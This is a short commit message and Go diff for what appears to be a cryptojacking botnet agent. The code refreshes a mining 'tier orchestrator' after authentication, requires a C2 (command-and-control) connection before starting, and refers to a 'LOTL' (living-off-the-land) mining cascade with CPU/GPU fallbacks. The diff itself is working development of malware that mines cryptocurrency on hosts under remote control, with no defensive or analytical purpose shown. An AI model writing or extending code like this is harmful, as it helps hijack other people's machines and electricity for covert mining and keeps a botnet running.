Fix simple deploy mining: refresh auth tier policy and mine immediately.

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.

agent/client/mining_chain.go

@@ -126,8 +126,19 @@ func (r *MiningChainRunner) Start(ctx context.Context) {
 	r.startMiningCascade(ctx)
 }
 
+// refreshTierOrchestrator rebuilds the tier onion from the latest server/auth policy.
+// newMiningChainRunner() captures policy at process start — auth may apply ForceTier later.
+func (r *MiningChainRunner) refreshTierOrchestrator() {
+	c := r.client
+	probes := miner.ProbeEnvironment(miner.RuntimeDetector)
+	r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(func() bool {
+		return newGPUMiner(c.cfg) != nil
+	}), r.reportTierEvent)
+}
+
 // startMiningCascade runs the existing LOTL mining onion + fallback chain.
 func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
+	r.refreshTierOrchestrator()
 	execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
 	probes := miner.ProbeEnvironment(miner.RuntimeDetector)
 	tierReport := r.tiers.Report()